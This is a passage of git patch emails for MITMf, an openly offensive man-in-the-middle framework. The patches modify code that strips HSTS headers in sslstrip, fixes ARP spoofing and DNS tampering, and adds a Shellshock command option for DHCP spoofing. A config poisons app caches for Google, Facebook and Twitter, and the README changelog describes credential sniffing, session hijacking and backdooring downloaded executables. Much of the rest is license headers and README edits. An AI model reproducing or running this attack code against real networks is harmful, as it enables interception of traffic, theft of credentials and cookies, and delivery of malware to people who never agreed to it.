class URLMonitor: return ((self.faviconSpoofing == True) and (url.find("favicon-x-favicon-x.ico") != -1)) def URLgetRealHost(self,host): - logging.debug("Parsing host: %s"%host) + logging.debug("[URLMonitor][HSTS]Parsing host: %s"%host) if self.real.has_key(host): - logging.debug("New host: %s"%self.real[host]) - return self.real[host] + logging.debug("[URLMonitor][HSTS]New host: %s"%self.real[host]) + return (self.real[host], True) else: - logging.debug("New host: %s"%host) - return host + logging.debug("[URLMonitor][HSTS]New host: %s"%host) + return (host, False) def getInstance(): if URLMonitor._instance == None: diff --git a/plugins/Spoof.py b/plugins/Spoof.py index 465a30a..eb74fe7 100644 --- a/plugins/Spoof.py +++ b/plugins/Spoof.py @@ -476,4 +476,4 @@ class _DNS(): payload.accept() except Exception, e: - print "Exception occurred while modifying DNS: " + str(e) \ No newline at end of file + print "Exception occurred while modifying DNS: " + str(e) From 3dbab59b2ffef8ec299225ca1837ea2b1a2ea606 Mon Sep 17 00:00:00 2001 From: byt3bl33d3r Date: Fri, 13 Mar 2015 15:06:20 +0100 Subject: [PATCH 105/323] Updated BDFactory to latest commit --- libs/bdfactory | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/libs/bdfactory b/libs/bdfactory index 6237b9f..410dcab 160000 --- a/libs/bdfactory +++ b/libs/bdfactory @@ -1 +1 @@ -Subproject commit 6237b9ff84c9ca83e9bdedb9cc93a4865c776bc0 +Subproject commit 410dcabc214203547ac545e41bd2ea0e84260b0c From cb09a12164133318ece4a4933d1a200eea6a11f6 Mon Sep 17 00:00:00 2001 From: byt3bl33d3r Date: Fri, 13 Mar 2015 15:25:28 +0100 Subject: [PATCH 106/323] updated readme --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index 99454df..3203326 100644 --- a/README.md +++ b/README.md @@ -11,7 +11,7 @@ This tool is completely based on sergio-proxy https://code.google.com/p/sergio-p Dependency change! =================== -As of version 0.9.5 DNS tampering support needs NetfilterQueue v0.6 which has yet to be merged into the main repo! +As of MITMF v0.9.5, DNS tampering support needs NetfilterQueue v0.6 which has yet to be merged into the main repo so it *cannot* be installed via pip or easy_install. Download it from here https://github.com/fqrouter/python-netfilterqueue and manually install it. From 10468bfa5ee2281bbdb530f11a3dad1af19a570f Mon Sep 17 00:00:00 2001 From: byt3bl33d3r Date: Fri, 13 Mar 2015 18:37:16 +0100 Subject: [PATCH 107/323] - Fixed a bug that would make certain sites end up in a infinite redirect loop - HSTS headers now get deleted --- libs/sslstrip/ClientRequest.py | 2 +- libs/sslstrip/ServerConnection.py | 5 ++--- libs/sslstrip/URLMonitor.py | 4 ++++ 3 files changed, 7 insertions(+), 4 deletions(-) diff --git a/libs/sslstrip/ClientRequest.py b/libs/sslstrip/ClientRequest.py index 9bf2ed3..6c7410e 100644 --- a/libs/sslstrip/ClientRequest.py +++ b/libs/sslstrip/ClientRequest.py @@ -190,7 +190,7 @@ class ClientRequest(Request): def process(self): logging.debug("Resolving host: %s" % (self.getHeader('host'))) host = self.getHeader('host') - + if (self.hsts and host): real = self.urlMonitor.real diff --git a/libs/sslstrip/ServerConnection.py b/libs/sslstrip/ServerConnection.py index 43ae336..cc6d831 100644 --- a/libs/sslstrip/ServerConnection.py +++ b/libs/sslstrip/ServerConnection.py @@ -125,15 +125,14 @@ class ServerConnection(HTTPClient): self.isCompressed = True elif (key.lower()== 'strict-transport-security'): - value="max-age=0" - logging.info("Zapped a strict-trasport-security header") + logging.info("%s Zapped a strict-trasport-security header" % self.client.getClientIP()) elif (key.lower() == 'content-length'): self.contentLength = value elif (key.lower() == 'set-cookie'): self.client.responseHeaders.addRawHeader(key, value) - + else: self.client.setHeader(key, value) diff --git a/libs/sslstrip/URLMonitor.py b/libs/sslstrip/URLMonitor.py index 0d1a10c..a486fe9 100644 --- a/libs/sslstrip/URLMonitor.py +++ b/libs/sslstrip/URLMonitor.py @@ -76,6 +76,10 @@ class URLMonitor: method = url[0:methodIndex] pathIndex = url.find("/", methodIndex) + if (pathIndex == -1): + pathIndex = len(url) + url += "/" + host = url[methodIndex:pathIndex].lower() path = url[pathIndex:] From 0bc4f8e1c340a0ed260600f5e6cc67b7fd8a91db Mon Sep 17 00:00:00 2001 From: byt3bl33d3r Date: Sat, 14 Mar 2015 14:17:58 +0100 Subject: [PATCH 108/323] -Added check for correct version of NetfilterQueue library -Updated README --- README.md | 2 +- mitmf.py | 10 +++++++++- 2 files changed, 10 insertions(+), 2 deletions(-) diff --git a/README.md b/README.md index 3203326..36e1729 100644 --- a/README.md +++ b/README.md @@ -11,7 +11,7 @@ This tool is completely based on sergio-proxy https://code.google.com/p/sergio-p Dependency change! =================== -As of MITMF v0.9.5, DNS tampering support needs NetfilterQueue v0.6 which has yet to be merged into the main repo so it *cannot* be installed via pip or easy_install. +As of v0.9.5 DNS tampering support needs NetfilterQueue v0.6 which is currently a fork, so it *cannot* be installed via pip or easy_install. Download it from here https://github.com/fqrouter/python-netfilterqueue and manually install it. diff --git a/mitmf.py b/mitmf.py index add7576..3255577 100755 --- a/mitmf.py +++ b/mitmf.py @@ -21,9 +21,17 @@ import sys import argparse import os +try: + import netfilterqueue + if netfilterqueue.VERSION[1] is not 6: + print "[-] Wrong version of NetfilterQueue library installed!" + print "[-] Download it from here https://github.com/fqrouter/python-netfilterqueue and manually install it!" +except ImportError: + print "[-] NetfilterQueue library missing! DNS tampering will not work" + try: import user_agents -except: +except ImportError: print "[-] user_agents library missing! User-Agent parsing will be disabled!" mitmf_version = "0.9.5" From aa2fa90642b9f4d7c92afd3c0c44562f7821e1d0 Mon Sep 17 00:00:00 2001 From: byt3bl33d3r Date: Sun, 15 Mar 2015 12:02:56 +0100 Subject: [PATCH 109/323] updated readme with new link --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index 36e1729..1090cb2 100644 --- a/README.md +++ b/README.md @@ -5,7 +5,7 @@ Framework for Man-In-The-Middle attacks Quick tutorials, examples and dev updates at http://sign0f4.blogspot.it -This tool is completely based on sergio-proxy https://code.google.com/p/sergio-proxy/ and is an attempt to revive and update the project. +This tool is completely based on sergio-proxy https://github.com/supernothing/sergio-proxy and is an attempt to revive and update the project. **Before submitting issues please read the appropriate section.** From 0c57f396717487a942e9cc1325281b0737a5be57 Mon Sep 17 00:00:00 2001 From: byt3bl33d3r Date: Sun, 15 Mar 2015 16:42:17 +0100 Subject: [PATCH 110/323] -Fixed bug in App Cache Poison plugin, missing function call resulted in some websites not loading -Added output to the AppCachePoison plugin --- README.md | 2 +- config/mitmf.cfg | 6 +++++- libs/sslstrip/ServerConnection.py | 1 + libs/sslstrip/URLMonitor.py | 4 +++- plugins/AppCachePoison.py | 18 ++++++++++++------ 5 files changed, 22 insertions(+), 9 deletions(-) diff --git a/README.md b/README.md index 1090cb2..b911a21 100644 --- a/README.md +++ b/README.md @@ -5,7 +5,7 @@ Framework for Man-In-The-Middle attacks Quick tutorials, examples and dev updates at http://sign0f4.blogspot.it -This tool is completely based on sergio-proxy https://github.com/supernothing/sergio-proxy and is an attempt to revive and update the project. +This tool is based on sergio-proxy https://github.com/supernothing/sergio-proxy and is an attempt to revive and update the project. **Before submitting issues please read the appropriate section.** diff --git a/config/mitmf.cfg b/config/mitmf.cfg index db80143..86e3642 100644 --- a/config/mitmf.cfg +++ b/config/mitmf.cfg @@ -163,6 +163,10 @@ manifest_url=http://mail.google.com/robots.txt templates=default # could be omitted + [[google]] + tamper_url = http://www.google.com/ + manifest_url = http://www.google.com/robots.txt + [[facebook]] tamper_url=http://www.facebook.com/ manifest_url=http://www.facebook.com/robots.txt @@ -173,7 +177,7 @@ #tamper_url_match=^http://(www\.)?twitter\.com/$ manifest_url=http://twitter.com/robots.txt - [[testing]] + [[html5rocks]] tamper_url=http://www.html5rocks.com/en/ manifest_url=http://www.html5rocks.com/robots.txt diff --git a/libs/sslstrip/ServerConnection.py b/libs/sslstrip/ServerConnection.py index cc6d831..69d937d 100644 --- a/libs/sslstrip/ServerConnection.py +++ b/libs/sslstrip/ServerConnection.py @@ -113,6 +113,7 @@ class ServerConnection(HTTPClient): if (key.lower() == 'location'): value = self.replaceSecureLinks(value) + self.urlMonitor.addRedirection(self.client.uri, value) if (key.lower() == 'content-type'): if (value.find('image') != -1): diff --git a/libs/sslstrip/URLMonitor.py b/libs/sslstrip/URLMonitor.py index a486fe9..59f751a 100644 --- a/libs/sslstrip/URLMonitor.py +++ b/libs/sslstrip/URLMonitor.py @@ -63,7 +63,9 @@ class URLMonitor: if from_url in s: s.add(to_url) return - self.redirects.append(set([from_url,to_url])) + url_set = set([from_url, to_url]) + logging.debug("[URLMonitor] Set redirection: %s" % url_set) + self.redirects.append(url_set) def getRedirectionSet(self, url): for s in self.redirects: diff --git a/plugins/AppCachePoison.py b/plugins/AppCachePoison.py index 6ec5077..a4cbdea 100644 --- a/plugins/AppCachePoison.py +++ b/plugins/AppCachePoison.py @@ -38,20 +38,22 @@ class AppCachePlugin(Plugin): if "enable_only_in_useragents" in self.config: regexp = self.config["enable_only_in_useragents"] if regexp and not re.search(regexp,req_headers["user-agent"]): - logging.debug("Tampering disabled in this useragent (%s)" % (req_headers["user-agent"])) + logging.info("%s Tampering disabled in this useragent (%s)" % (ip, req_headers["user-agent"])) return {'request': request, 'data': data} urls = self.urlMonitor.getRedirectionSet(url) - + logging.debug("%s [AppCachePoison] Got redirection set: %s" % (ip, urls)) (name,s,element,url) = self.getSectionForUrls(urls) + if s is False: data = self.tryMassPoison(url, data, headers, req_headers, ip) return {'request': request, 'data': data} - logging.debug("Found URL %s in section %s" % (url, name)) + logging.info("%s Found URL %s in section %s" % (ip, url, name)) p = self.getTemplatePrefix(s) + if element == 'tamper': - logging.debug("Poisoning tamper URL with template %s" % (p)) + logging.info("%s Poisoning tamper URL with template %s" % (ip, p)) if os.path.exists(p + '.replace'): # replace whole content f = open(p + '.replace','r') data = self.decorate(f.read(), s) @@ -68,12 +70,12 @@ class AppCachePlugin(Plugin): data = re.sub(re.compile(" Date: Sun, 15 Mar 2015 16:54:49 +0100 Subject: [PATCH 111/323] tidied up README --- README.md | 15 +++++++-------- 1 file changed, 7 insertions(+), 8 deletions(-) diff --git a/README.md b/README.md index b911a21..2f35661 100644 --- a/README.md +++ b/README.md @@ -5,7 +5,7 @@ Framework for Man-In-The-Middle attacks Quick tutorials, examples and dev updates at http://sign0f4.blogspot.it -This tool is based on sergio-proxy https://github.com/supernothing/sergio-proxy and is an attempt to revive and update the project. +This tool is based on [sergio-proxy](https://github.com/supernothing/sergio-proxy) and is an attempt to revive and update the project. **Before submitting issues please read the appropriate section.** @@ -37,14 +37,14 @@ Availible plugins Changelog ========= -- Addition of the Sniffer plugin which integrates Net-Creds (https://github.com/DanMcInerney/net-creds) currently supported protocols are: +- Addition of the Sniffer plugin which integrates [Net-Creds](https://github.com/DanMcInerney/net-creds) currently supported protocols are: FTP, IRC, POP, IMAP, Telnet, SMTP, SNMP (community strings), NTLMv1/v2 (all supported protocols like HTTP, SMB, LDAP etc..) and Kerberos -- Integrated Responder (https://github.com/SpiderLabs/Responder) to poison LLMNR, NBT-NS and MDNS, and act as a WPAD rogue server. +- Integrated [Responder](https://github.com/SpiderLabs/Responder) to poison LLMNR, NBT-NS and MDNS, and act as a WPAD rogue server. -- Integrated SSLstrip+ (https://github.com/LeonardoNve/sslstrip2) by Leonardo Nve to partially bypass HSTS as demonstrated at BlackHat Asia 2014 +- Integrated [SSLstrip+](https://github.com/LeonardoNve/sslstrip2) by Leonardo Nve to partially bypass HSTS as demonstrated at BlackHat Asia 2014 -- Addition of the SessionHijacking plugin, which uses code from FireLamb (https://github.com/sensepost/mana/tree/master/firelamb) to store cookies in a Firefox profile +- Addition of the SessionHijacking plugin, which uses code from [FireLamb](https://github.com/sensepost/mana/tree/master/firelamb) to store cookies in a Firefox profile - Spoof plugin now supports ICMP, ARP and DHCP spoofing along with DNS tampering @@ -52,14 +52,13 @@ Changelog - Usage of third party tools has been completely removed (e.g. ettercap) -- FilePwn plugin re-written to backdoor executables and zip files on the fly by using the-backdoor-factory -https://github.com/secretsquirrel/the-backdoor-factory and code from BDFProxy https://github.com/secretsquirrel/BDFProxy +- FilePwn plugin re-written to backdoor executables and zip files on the fly by using [the-backdoor-factory](https://github.com/secretsquirrel/the-backdoor-factory) and code from [BDFProxy](https://github.com/secretsquirrel/BDFProxy) - Added msfrpc.py for interfacing with Metasploits rpc server - Added beefapi.py for interfacing with BeEF's RESTfulAPI -- Addition of the app-cache poisoning attack by Krzysztof Kotowicz +- Addition of the app-cache poisoning attack by [Krzysztof Kotowicz](https://github.com/koto/sslstrip) (blogpost explaining the attack here http://blog.kotowicz.net/2010/12/squid-imposter-phishing-websites.html) Submitting Issues ================= From dfba4295bf3afa8ba88650d5c4763ca914a83650 Mon Sep 17 00:00:00 2001 From: byt3bl33d3r Date: Sun, 15 Mar 2015 18:37:19 +0100 Subject: [PATCH 112/323] Update README.md --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index 2f35661..2c9ec8f 100644 --- a/README.md +++ b/README.md @@ -7,7 +7,7 @@ Quick tutorials, examples and dev updates at http://sign0f4.blogspot.it This tool is based on [sergio-proxy](https://github.com/supernothing/sergio-proxy) and is an attempt to revive and update the project. -**Before submitting issues please read the appropriate section.** +**Before submitting issues please read the appropriate [section](https://github.com/byt3bl33d3r/MITMf#submitting-issues).** Dependency change! =================== From b5304701a4f38cd68b2e3f89cafbcb781cc5875c Mon Sep 17 00:00:00 2001 From: byt3bl33d3r Date: Sun, 15 Mar 2015 18:39:19 +0100 Subject: [PATCH 113/323] Update README.md --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index 2c9ec8f..4887d84 100644 --- a/README.md +++ b/README.md @@ -7,7 +7,7 @@ Quick tutorials, examples and dev updates at http://sign0f4.blogspot.it This tool is based on [sergio-proxy](https://github.com/supernothing/sergio-proxy) and is an attempt to revive and update the project. -**Before submitting issues please read the appropriate [section](https://github.com/byt3bl33d3r/MITMf#submitting-issues).** +**Before submitting issues please read the appropriate [section](#submitting-issues).** Dependency change! =================== From 873112c8e7a87daec9aed10e037041faca0eb805 Mon Sep 17 00:00:00 2001 From: byt3bl33d3r Date: Sun, 15 Mar 2015 20:22:31 +0100 Subject: [PATCH 114/323] - Fixed a bug when ARP spoofing via arp replies - Amended license --- README.md | 4 ++-- libs/banners.py | 18 +++++++++++++++++ libs/beefapi.py | 19 ++++++++++++++++++ libs/msfrpc.py | 25 ++++++++++++++++++------ libs/sslstrip/ClientRequest.py | 2 +- libs/sslstrip/CookieCleaner.py | 2 +- libs/sslstrip/DnsCache.py | 18 +++++++++++++++++ libs/sslstrip/SSLServerConnection.py | 2 +- libs/sslstrip/ServerConnection.py | 2 +- libs/sslstrip/ServerConnectionFactory.py | 2 +- libs/sslstrip/StrippingProxy.py | 2 +- libs/sslstrip/URLMonitor.py | 4 ++-- mitmf.py | 20 ++++++++++++++++++- plugins/Spoof.py | 8 ++++---- 14 files changed, 107 insertions(+), 21 deletions(-) diff --git a/README.md b/README.md index 4887d84..8466e2b 100644 --- a/README.md +++ b/README.md @@ -54,9 +54,9 @@ Changelog - FilePwn plugin re-written to backdoor executables and zip files on the fly by using [the-backdoor-factory](https://github.com/secretsquirrel/the-backdoor-factory) and code from [BDFProxy](https://github.com/secretsquirrel/BDFProxy) -- Added msfrpc.py for interfacing with Metasploits rpc server +- Added [msfrpc.py](https://github.com/byt3bl33d3r/msfrpc/blob/master/python-msfrpc/msfrpc.py) for interfacing with Metasploits rpc server -- Added beefapi.py for interfacing with BeEF's RESTfulAPI +- Added [beefapi.py](https://github.com/byt3bl33d3r/beefapi) for interfacing with BeEF's RESTfulAPI - Addition of the app-cache poisoning attack by [Krzysztof Kotowicz](https://github.com/koto/sslstrip) (blogpost explaining the attack here http://blog.kotowicz.net/2010/12/squid-imposter-phishing-websites.html) diff --git a/libs/banners.py b/libs/banners.py index c8d42bc..323624f 100644 --- a/libs/banners.py +++ b/libs/banners.py @@ -1,6 +1,24 @@ #! /usr/bin/env python2.7 # -*- coding: utf-8 -*- +# Copyright (c) 2014-2016 Marcello Salvati +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation; either version 3 of the +# License, or (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, but +# WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 +# USA +# + import random banner1 = """ diff --git a/libs/beefapi.py b/libs/beefapi.py index d648e55..cc8960e 100644 --- a/libs/beefapi.py +++ b/libs/beefapi.py @@ -1,4 +1,23 @@ #!/usr/bin/env python2.7 + +# Copyright (c) 2014-2016 Marcello Salvati +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation; either version 3 of the +# License, or (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, but +# WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 +# USA +# + import requests import json from random import sample diff --git a/libs/msfrpc.py b/libs/msfrpc.py index d4f6966..59913ec 100644 --- a/libs/msfrpc.py +++ b/libs/msfrpc.py @@ -1,11 +1,24 @@ #! /usr/bin/env python2.7 -# MSF-RPC - A Python library to facilitate MSG-RPC communication with Metasploit -# Ryan Linn - RLinn@trustwave.com, Marcello Salvati - byt3bl33d3r@gmail.com -# Copyright (C) 2011 Trustwave -# This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. -# This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. -# You should have received a copy of the GNU General Public License along with this program. If not, see . +# MSF-RPC - A Python library to facilitate MSG-RPC communication with Metasploit + +# Copyright (c) 2014-2016 Ryan Linn - RLinn@trustwave.com, Marcello Salvati - byt3bl33d3r@gmail.com +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation; either version 3 of the +# License, or (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, but +# WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 +# USA +# import requests import msgpack diff --git a/libs/sslstrip/ClientRequest.py b/libs/sslstrip/ClientRequest.py index 6c7410e..58891eb 100644 --- a/libs/sslstrip/ClientRequest.py +++ b/libs/sslstrip/ClientRequest.py @@ -1,4 +1,4 @@ -# Copyright (c) 2004-2009 Moxie Marlinspike +# Copyright (c) 2014-2016 Moxie Marlinspike, Marcello Salvati # # This program is free software; you can redistribute it and/or # modify it under the terms of the GNU General Public License as diff --git a/libs/sslstrip/CookieCleaner.py b/libs/sslstrip/CookieCleaner.py index 591584a..997041a 100644 --- a/libs/sslstrip/CookieCleaner.py +++ b/libs/sslstrip/CookieCleaner.py @@ -1,4 +1,4 @@ -# Copyright (c) 2004-2011 Moxie Marlinspike +# Copyright (c) 2014-2016 Moxie Marlinspike, Marcello Salvati # # This program is free software; you can redistribute it and/or # modify it under the terms of the GNU General Public License as diff --git a/libs/sslstrip/DnsCache.py b/libs/sslstrip/DnsCache.py index 6df81b8..906a6e5 100644 --- a/libs/sslstrip/DnsCache.py +++ b/libs/sslstrip/DnsCache.py @@ -1,3 +1,21 @@ +# Copyright (c) 2014-2016 Moxie Marlinspike, Marcello Salvati +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation; either version 3 of the +# License, or (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, but +# WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 +# USA +# + import logging class DnsCache: diff --git a/libs/sslstrip/SSLServerConnection.py b/libs/sslstrip/SSLServerConnection.py index 5eeab59..c03556c 100644 --- a/libs/sslstrip/SSLServerConnection.py +++ b/libs/sslstrip/SSLServerConnection.py @@ -1,4 +1,4 @@ -# Copyright (c) 2004-2009 Moxie Marlinspike +# Copyright (c) 2014-2016 Moxie Marlinspike, Marcello Salvati # # This program is free software; you can redistribute it and/or # modify it under the terms of the GNU General Public License as diff --git a/libs/sslstrip/ServerConnection.py b/libs/sslstrip/ServerConnection.py index 69d937d..8110256 100644 --- a/libs/sslstrip/ServerConnection.py +++ b/libs/sslstrip/ServerConnection.py @@ -1,4 +1,4 @@ -# Copyright (c) 2004-2009 Moxie Marlinspike +# Copyright (c) 2014-2016 Moxie Marlinspike, Marcello Salvati # # This program is free software; you can redistribute it and/or # modify it under the terms of the GNU General Public License as diff --git a/libs/sslstrip/ServerConnectionFactory.py b/libs/sslstrip/ServerConnectionFactory.py index f694fc0..d6eb18e 100644 --- a/libs/sslstrip/ServerConnectionFactory.py +++ b/libs/sslstrip/ServerConnectionFactory.py @@ -1,4 +1,4 @@ -# Copyright (c) 2004-2009 Moxie Marlinspike +# Copyright (c) 2014-2016 Moxie Marlinspike, Marcello Salvati # # This program is free software; you can redistribute it and/or # modify it under the terms of the GNU General Public License as diff --git a/libs/sslstrip/StrippingProxy.py b/libs/sslstrip/StrippingProxy.py index 8a626df..f9e707e 100644 --- a/libs/sslstrip/StrippingProxy.py +++ b/libs/sslstrip/StrippingProxy.py @@ -1,4 +1,4 @@ -# Copyright (c) 2004-2009 Moxie Marlinspike +# Copyright (c) 2014-2016 Moxie Marlinspike, Marcello Salvati # # This program is free software; you can redistribute it and/or # modify it under the terms of the GNU General Public License as diff --git a/libs/sslstrip/URLMonitor.py b/libs/sslstrip/URLMonitor.py index 59f751a..969db04 100644 --- a/libs/sslstrip/URLMonitor.py +++ b/libs/sslstrip/URLMonitor.py @@ -1,4 +1,4 @@ -# Copyright (c) 2004-2009 Moxie Marlinspike +# Copyright (c) 2014-2016 Moxie Marlinspike, Marcello Salvati # # This program is free software; you can redistribute it and/or # modify it under the terms of the GNU General Public License as @@ -78,7 +78,7 @@ class URLMonitor: method = url[0:methodIndex] pathIndex = url.find("/", methodIndex) - if (pathIndex == -1): + if pathIndex is -1: pathIndex = len(url) url += "/" diff --git a/mitmf.py b/mitmf.py index 3255577..4bf22f1 100755 --- a/mitmf.py +++ b/mitmf.py @@ -1,5 +1,23 @@ #!/usr/bin/env python2.7 +# Copyright (c) 2014-2016 Moxie Marlinspike, Marcello Salvati +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation; either version 3 of the +# License, or (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, but +# WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 +# USA +# + from twisted.web import http from twisted.internet import reactor @@ -152,7 +170,7 @@ for p in plugins: p.initialize(args) load.append(p) except Exception, e: - print "[-] Error loading plugin: " + str(e) + print "[-] Error loading plugin %s: %s" % (p.name, str(e)) #Plugins are ready to go, start MITMf if args.disproxy: diff --git a/plugins/Spoof.py b/plugins/Spoof.py index eb74fe7..c7d9ef6 100644 --- a/plugins/Spoof.py +++ b/plugins/Spoof.py @@ -117,7 +117,7 @@ class Spoof(Plugin): options.add_argument('--shellshock', type=str, metavar='PAYLOAD', dest='shellshock', default=None, help='Trigger the Shellshock vuln when spoofing DHCP, and execute specified command') options.add_argument('--gateway', dest='gateway', help='Specify the gateway IP') options.add_argument('--target', dest='target', default=None, help='Specify a host to poison [default: subnet]') - options.add_argument('--arpmode', dest='arpmode', default='req', choices=["req", "rep"], help=' ARP Spoofing mode: requests (req) or replies (rep) [default: req]') + options.add_argument('--arpmode',type=str, dest='arpmode', default='req', choices=["req", "rep"], help=' ARP Spoofing mode: requests (req) or replies (rep) [default: req]') #options.add_argument('--summary', action='store_true', dest='summary', default=False, help='Show packet summary and ask for confirmation before poisoning') #added by alexander.georgiev@daloo.de @@ -314,7 +314,7 @@ class _ARP(): self.arpmode = 'req' self.debug = False self.send = True - self.arp_inter = 2 + self.arp_inter = 3 def start(self): if self.gatewaymac is None: @@ -325,10 +325,10 @@ class _ARP(): if self.targetmac is None: sys.exit("[-] Error: Could not resolve target's MAC address") - if self.arpmode is 'req': + if self.arpmode == 'req': pkt = self.build_arp_req() - elif self.arpmode is 'rep': + elif self.arpmode == 'rep': pkt = self.build_arp_rep() t = threading.Thread(name='arp_spoof', target=self.send_arps, args=(pkt, self.interface, self.debug,)) From 5e56049e44f62e3070476af0776609be18d86f13 Mon Sep 17 00:00:00 2001 From: byt3bl33d3r Date: Thu, 19 Mar 2015 23:27:28 +0100 Subject: [PATCH 115/323] Fixed a bug where Twisted would resolve correct IP when DNS Tampering --- libs/sslstrip/ClientRequest.py | 4 ++-- plugins/Spoof.py | 6 ++++++ 2 files changed, 8 insertions(+), 2 deletions(-) diff --git a/libs/sslstrip/ClientRequest.py b/libs/sslstrip/ClientRequest.py index 58891eb..c16db60 100644 --- a/libs/sslstrip/ClientRequest.py +++ b/libs/sslstrip/ClientRequest.py @@ -181,10 +181,10 @@ class ClientRequest(Request): address = self.dnsCache.getCachedAddress(host) if address != None: - logging.debug("Host cached.") + logging.debug("[ClientRequest] Host cached: %s %s" % (host, str(address))) return defer.succeed(address) else: - logging.debug("Host not cached.") + logging.debug("[ClientRequest] Host not cached.") return reactor.resolve(host) def process(self): diff --git a/plugins/Spoof.py b/plugins/Spoof.py index c7d9ef6..bb8d434 100644 --- a/plugins/Spoof.py +++ b/plugins/Spoof.py @@ -9,6 +9,7 @@ import random logging.getLogger("scapy.runtime").setLevel(logging.ERROR) #Gets rid of IPV6 Error when importing scapy from scapy.all import * from netfilterqueue import NetfilterQueue +from libs.sslstrip.DnsCache import DnsCache from plugins.plugin import Plugin from time import sleep from base64 import b64decode @@ -93,6 +94,11 @@ class Spoof(Plugin): if not options.manualiptables: self.sysconfig.iptables_dns(0) + dnscache = DnsCache.getInstance() + + for domain, ip in self.dnscfg.items(): + dnscache.cacheResolution(domain, ip) + self.dns = _DNS(0) self.dns.dnscfg = self.dnscfg self.dns.dns = True From 9086525c905c9e7b338aa467d3763b5acbd42840 Mon Sep 17 00:00:00 2001 From: byt3bl33d3r Date: Mon, 30 Mar 2015 18:04:24 +0200 Subject: [PATCH 116/323] Version bump Minor code optimizations --- README.md | 2 +- config/mitmf.cfg | 4 +- {libs/sergioproxy => core}/__init__.py | 0 {libs => core}/beefapi.py | 0 {libs => core}/msfrpc.py | 0 .../publicsuffix}/__init__.py | 0 {libs => core/publicsuffix}/publicsuffix.py | 0 {libs => core/publicsuffix}/publicsuffix.txt | 0 {libs => core}/sergioproxy/ProxyPlugins.py | 17 +- {libs => core}/sergioproxy/README.md | 0 core/sergioproxy/__init__.py | 0 {libs => core}/sslstrip/COPYING.sslstrip | 0 {libs => core}/sslstrip/ClientRequest.py | 4 +- {libs => core}/sslstrip/CookieCleaner.py | 11 +- {libs => core}/sslstrip/DnsCache.py | 15 +- {libs => core}/sslstrip/README.md | 0 .../sslstrip/SSLServerConnection.py | 0 {libs => core}/sslstrip/ServerConnection.py | 4 +- .../sslstrip/ServerConnectionFactory.py | 0 {libs => core}/sslstrip/StrippingProxy.py | 0 {libs => core}/sslstrip/URLMonitor.py | 19 +- core/sslstrip/__init__.py | 0 libs/banners.py => core/utils.py | 40 +- core/wrappers/__init__.py | 0 core/wrappers/nfqueue.py | 47 ++ core/wrappers/protocols.py | 242 +++++++++ libs/responder/Responder.py | 31 +- mitmf.py | 33 +- plugins/AppCachePoison.py | 27 +- plugins/BeefAutorun.py | 33 +- plugins/BrowserProfiler.py | 20 + plugins/CacheKill.py | 20 + plugins/FilePwn.py | 20 + plugins/Inject.py | 20 + plugins/JavaPwn.py | 39 +- plugins/JsKeylogger.py | 20 + plugins/Replace.py | 20 + plugins/Responder.py | 29 +- plugins/SMBAuth.py | 23 +- plugins/SSLstrip+.py | 118 ++++- plugins/SessionHijacker.py | 41 +- plugins/Sniffer.py | 20 + plugins/Spoof.py | 464 +++--------------- plugins/Upsidedownternet.py | 20 + 44 files changed, 913 insertions(+), 490 deletions(-) rename {libs/sergioproxy => core}/__init__.py (100%) rename {libs => core}/beefapi.py (100%) rename {libs => core}/msfrpc.py (100%) rename {libs/sslstrip => core/publicsuffix}/__init__.py (100%) rename {libs => core/publicsuffix}/publicsuffix.py (100%) rename {libs => core/publicsuffix}/publicsuffix.txt (100%) rename {libs => core}/sergioproxy/ProxyPlugins.py (97%) rename {libs => core}/sergioproxy/README.md (100%) create mode 100644 core/sergioproxy/__init__.py rename {libs => core}/sslstrip/COPYING.sslstrip (100%) rename {libs => 